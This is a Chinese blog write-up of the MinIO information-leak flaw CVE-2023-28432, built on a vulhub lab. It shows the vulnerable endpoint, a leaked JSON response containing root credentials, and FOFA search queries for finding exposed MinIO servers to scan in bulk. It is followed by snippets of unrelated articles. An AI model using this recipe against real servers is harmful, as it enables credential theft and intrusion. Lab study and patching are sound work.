MinIO集群模式信息泄露漏洞(CVE-2023-28432)
前言:MinIO是一个用Golang开发的基于Apache License v2.0开源协议的对象存储服务。虽然轻量,却拥有着不错的性能。它兼容亚马逊S3云存储服务接口,非常适合于存储大容量非结构化的数据。该漏洞会在前台泄露用户的账户和密码。
0x00 环境配置
此次实验,我们继续使用P神的Minio的docker环境。启动环境:
cd /vulhub-master/minio/CVE-2023-28432/
docker-compose up -d
启动完成后访问http://your-ip:9001为集群的web管理页面,另外http://your-ip:9000为集群的API接口。
0x01 触发漏洞
这个漏洞的节点存在于这个路径:http://your-ip:9000/minio/bootstrap/v1/verify
对该路径发送POST请求会返回一段JSON数据:

{"MinioEndpoints":[{"Legacy":true,"SetCount":1,"DrivesPerSet":3,"Endpoints":[{"Scheme":"http","Opaque":"","User":null,"Host":"node1:9000","Path":"/mnt/data1","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":true},{"Scheme":"http","Opaque":"","User":null,"Host":"node2:9000","Path":"/mnt/data2","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":false},{"Scheme":"http","Opaque":"","User":null,"Host":"node3:9000","Path":"/mnt/data3","RawPath":"","OmitHost":false,"ForceQuery":false,"RawQuery":"","Fragment":"","RawFragment":"","IsLocal":false}],"CmdLine":"http://node1:9000/mnt/data1 http://node2:9000/mnt/data2 http://node3:9000/mnt/data3","Platform":"OS: linux | Arch: amd64"}],"MinioEnv":{"MINIO_ACCESS_KEY_FILE":"access_key","MINIO_CONFIG_ENV_FILE":"config.env","MINIO_KMS_SECRET_KEY_FILE":"kms_master_key","MINIO_ROOT_PASSWORD":"minioadmin-vulhub","MINIO_ROOT_PASSWORD_FILE":"secret_key","MINIO_ROOT_USER":"minioadmin","MINIO_ROOT_USER_FILE":"access_key","MINIO_SECRET_KEY_FILE":"secret_key"}}
在该json字段中,我们可以看到MINIO_ROOT_USER字段包含账户名,MINIO_ROOT_PASSWORD字段包含账户的密码。所以该信息泄露其实就是API接口的信息泄露。我们可以根据这个特性,写一个批量的脚本文件来检测,并将其中的关键信息返回。
0x02 POC利用
先在FoFa或者鹰图上面收集跟MinIO集群相关的资产。banner=“MinIO” || header=“MinIO” || title=“MinIO Browser”
脚本相关较为敏感,若有需要可以加群下载。
其实脚本比较简单,就是向这个漏洞URL发送请求,判断返回包是否包含敏感字段。
如果包含就说明有敏感JSON字段,最后对这个JSON数据进行解析,拿出其中我们需要的两个字段即可。下图为利用效果。

0x03 加固建议
升级官方最新补丁可以修复该漏洞。
相关文章:
MinIO集群模式信息泄露漏洞(CVE-2023-28432)
前言:MinIO是一个用Golang开发的基于Apache License v2.0开源协议的对象存储服务。虽然轻量,却拥有着不错的性能。它兼容亚马逊S3云存储服务接口,非常适合于存储大容量非结构化的数据。该漏洞会在前台泄露用户的账户和密码。 0x00 环境配置 …...
【从零单排Golang】第十五话:用sync.Once实现懒加载的用法和坑点
在使用Golang做后端开发的工程中,我们通常需要声明一些一些配置类或服务单例等在业务逻辑层面较为底层的实例。为了节省内存或是冷启动开销,我们通常采用lazy-load懒加载的方式去初始化这些实例。初始化单例这个行为是一个非常经典的并发处理的案例&…...
常见注意力机制
注意力机制 (具有自适应性) 18年提出的一种新的 卷积注意力模块 ;对前馈卷积神经网络 是一个 简单而有效的 注意力模块 ; 因为它的 轻量级和通用性 ,可以 无缝集成到任何CNN网络 当中, 对我们来讲&…...
解决报错之org.aspectj.lang不存在
一、IDEA在使用时,可能会遇到maven依赖包明明存在,但是build或者启动时,报找不存在。 解决办法:第一时间检查Setting->Maven-Runner红圈中的√有没有选上。 二、有时候,明明依赖包存在,但是Maven页签中…...
java之SpringBoot基础篇、前后端项目、MyBatisPlus、MySQL、vue、elementUi
文章目录 前言JC-1.快速上手SpringBootJC-1-1.SpringBoot入门程序制作(一)JC-1-2.SpringBoot入门程序制作(二)JC-1-3.SpringBoot入门程序制作(三)JC-1-4.SpringBoot入门程序制作(四)…...
golang中如何判断字符串是否包含另一字符串
golang中如何判断字符串是否包含另一字符串 在Go语言中,可以使用strings.Contains()函数来判断一个字符串是否包含另一个字符串。该函数接受两个参数:要搜索的字符串和要查找的子字符串,如果子字符串存在于要搜索的字符串中,则返…...
ONNX OpenVino TensorRT MediaPipe NCNN Diffusers ComfyUI
框架 和Java生成的中间文件可以在JVM上运行一样,AI技术在具体落地应用方面,和其他软件技术一样,也需要具体的部署和实施的。既然要做部署,那就会有不同平台设备上的各种不同的部署方法和相关的部署架构工具 onnx 在训练模型时可以…...
java中使用 Integer 和 int 的 含义、使用方法 及之间的区别
学习目标: 学习目标如下: 明确 Integer 和 int 的 含义、使用方法 及之间的区别 学习内容: 一、区别: 1.Integer是int的包装类,int则是java的一种基本的数据类型; 2.Integer变量必须实例化之后才能使用&a…...
点云从入门到精通技术详解100篇-点云的特征检测
目录 前言 点云配准的研究背景 多元时间序列的相似性分析研究背景及意义 国内外研究现状...
DOM破坏绕过XSSfilter例题
目录 一、什么是DOM破坏 二、例题1 编辑 三、多层关系 1.Collection集合方式 2.标签关系 四、例题2 一、什么是DOM破坏 DOM破坏(DOM Clobbering)指的是对网页上的DOM结构进行不当的修改,导致页面行为异常、性能问题、安全风险或其他不…...
代码随想录Day_56打卡
①、两个字符串的删除操作 给定两个单词 word1 和 word2 ,返回使得 word1 和 word2 相同所需的最小步数。 每步 可以删除任意一个字符串中的一个字符。 事例: 输入: word1 "sea", word2 "eat" 输出: 2 解释: 第一步将 "sea&…...
高忆管理:六连板捷荣技术或难扛“华为概念股”大旗
在本钱商场上名不见经传的捷荣技术(002855.SZ)正扛起“华为概念股”大旗。 9月6日,捷荣技术已拿下第六个连续涨停板,短短七个生意日,股价累积涨幅逾越90%。公司已连发两份股票生意异动公告。 是炒作,还是…...
「解析」YOLOv5 classify分类模板
学习深度学习有些时间了,相信很多小伙伴都已经接触 图像分类、目标检测甚至图像分割(语义分割)等算法了,相信大部分小伙伴都是从分类入门,接触各式各样的 Backbone算法开启自己的炼丹之路。 但是炼丹并非全是 Backbone,更多的是各…...
交换排序——冒泡排序、快速排序
交换排序就是通过比较交换实现排序。分冒泡排序和快速排序两种。 一、冒泡排序: 1、简述 顾名思义就是大的就冒头,换位置。 通过多次重复比较、交换相邻记录而实现排序;每一趟的效果都是将当前键值最大的记录换到最后。 冒泡排序算法的原…...
Android 10.0 禁用adb shell input输入功能
1.前言 在10.0的产品开发中,在进行一些定制开发中,对于一些adb shell功能需要通过属性来控制禁止使用input 等输入功能,比如adb shell input keyevent 响应输入事件等,所以就需要 熟悉adb shell input的输入事件流程,然后来禁用adb shell input的输入事件功能,接下来分…...
cuda显存访问耗时
背景: 项目中有个数据量大小为5195 * 512 * 128float 1.268G的显存,发现有个函数调用很耗时,函数里面就是对这个显存进行128个元素求和,得到一个5195 * 512的图像 分析 1. 为什么耗时 直观上感觉这个流程应该不怎么耗时才对&a…...
【HTML5高级第三篇】drag拖拽、音频视频、defer/async属性、dialog应用
文章目录 一、拖拽事件1.1 拖拽事件1.2 案例:拖拽丢弃图片 二、音频和视频三、defer 与 async 属性3.1 概述3.2 示例一:3.3 示例二: 四、dialog 元素 一、拖拽事件 原生JavaScipt案例合集 JavaScript DOM基础 JavaScript 基础到高级 Canvas…...
独享IP vs. 共享IP:哪种更适合你?
无论是个人用户还是企业组织,在互联网上都需要一个唯一标识来与其他设备进行通信。这就涉及到使用独立分配给自己或多个用户分享的公共 IP 地址(也称为共享 IP)。那么,究竟应该选择独占一个专用地址还是与他人分享相同地址呢&…...
【Arduino27】DHT11温湿度传感器模拟值实验
硬件准备 DHT11温湿度:1个 面包板:1个 杜邦线:3根 硬件连线 VDD引脚接 5V 电源 DATE引脚接 4号 接口 GND引脚接 GND 接口 软件程序 #include<DHT.h>#define DHT11_pin 4 //温湿度传感器引脚DHT dht(DHT11_pin,DHT11);float tem…...
dockerfile基于apline将JDK20打包成镜像
dockerfile基于apline将JDK20打包成镜像 今天就来和大家聊聊如何把最新出版的JDK20打包成docker镜像,很多uu都会采用centos作为基础镜像,这么做会有一个问题,centos系统会含有很多库文件,这些库文件JDK程序并不是完全需要的&a…...
告别大模型幻觉!RAG 原理 + Spring AI 代码实现一步到位
RAG 诞生背景:大模型原生缺陷 LLM 存在 3 个无法自愈的问题,这是 RAG 技术的核心出发点: LLM存在幻觉现象, 生成无事实依据、虚假编造的内容LLM知识更新缓慢, 预训练数据固定,无法同步新数据 / 私有数据LLM对领域知识的理解有限, …...
Java开发者指南:CV_UNet图像着色模型集成实战
Java开发者指南:CV_UNet图像着色模型集成实战 1. 引言 作为一名Java开发者,你可能经常遇到需要处理图像着色的场景。比如老照片修复、黑白影像上色,或者给设计稿添加色彩。传统方法要么效果一般,要么需要深厚的技术背景。现在有…...
Stable Yogi Leather-Dress-Collection效果展示:2.5D视角下皮衣动态褶皱与身体贴合度真实感
Stable Yogi Leather-Dress-Collection效果展示:2.5D视角下皮衣动态褶皱与身体贴合度真实感 想象一下,你是一位动漫角色设计师,需要为角色设计一套充满质感的皮衣。传统的流程需要你手绘线稿、上色、刻画光影和褶皱,整个过程耗时…...
YimMenu:GTA5游戏体验增强工具全攻略
YimMenu:GTA5游戏体验增强工具全攻略 【免费下载链接】YimMenu YimMenu, a GTA V menu protecting against a wide ranges of the public crashes and improving the overall experience. 项目地址: https://gitcode.com/GitHub_Trending/yi/YimMenu 核心痛点…...
智能提取B站字幕:告别手动抄录的高效开源工具
智能提取B站字幕:告别手动抄录的高效开源工具 【免费下载链接】BiliBiliCCSubtitle 一个用于下载B站(哔哩哔哩)CC字幕及转换的工具; 项目地址: https://gitcode.com/gh_mirrors/bi/BiliBiliCCSubtitle 还在为手动记录B站视频字幕而烦恼?BiliBiliC…...
2024电子数据取证实战:从手机取证到恶意APP逆向分析
1. 手机取证实战入门:从ADB到蓝牙MAC地址追踪 手机取证是电子数据取证中最常见的场景之一。去年我参与处理的一起案件中,嫌疑人通过恶意APP窃取了受害者通讯录,当时就是通过ADB连接记录锁定了关键证据。先说说ADB这个基础但极其重要的工具。 …...
华为OD生存指南:转正挑战、身份认知与职业适配
1. 华为OD转正挑战的真相 刚入职华为OD时,很多人都会被HR描述的转正路径所吸引。四步转正流程听起来清晰明了:有HC、拿绩效A、通过可信认证、工作满一年。但真正进入这个体系后,你会发现每个环节都暗藏玄机。 关于HC(Head Count…...
别再只盯着芯片手册了!用CC6902SO搭建电流检测电路,这些实测数据和避坑经验更重要
别再只盯着芯片手册了!用CC6902SO搭建电流检测电路,这些实测数据和避坑经验更重要 第一次用CC6902SO搭建电流检测电路时,我完全按照芯片手册推荐的电路设计,结果发现实际输出和理论值差了将近15%。这让我意识到,真正影…...
5分钟学会OrgChart:从零开始创建动态组织图
5分钟学会OrgChart:从零开始创建动态组织图 【免费下载链接】OrgChart Its a simple and direct organization chart plugin. Anytime you want a tree-like chart, you can turn to OrgChart. 项目地址: https://gitcode.com/gh_mirrors/or/OrgChart 如果你…...
告别Bad Username or Password:手把手教你用MQTTX正确连接OneNET物联网开发平台(附Token生成避坑点)
物联网开发实战:OneNET平台MQTT连接全流程解析与避坑指南 在物联网项目开发中,MQTT协议因其轻量级和高效性成为设备连接的首选方案。而OneNET作为国内主流的物联网平台,为开发者提供了完整的MQTT接入能力。但在实际对接过程中,&q…...
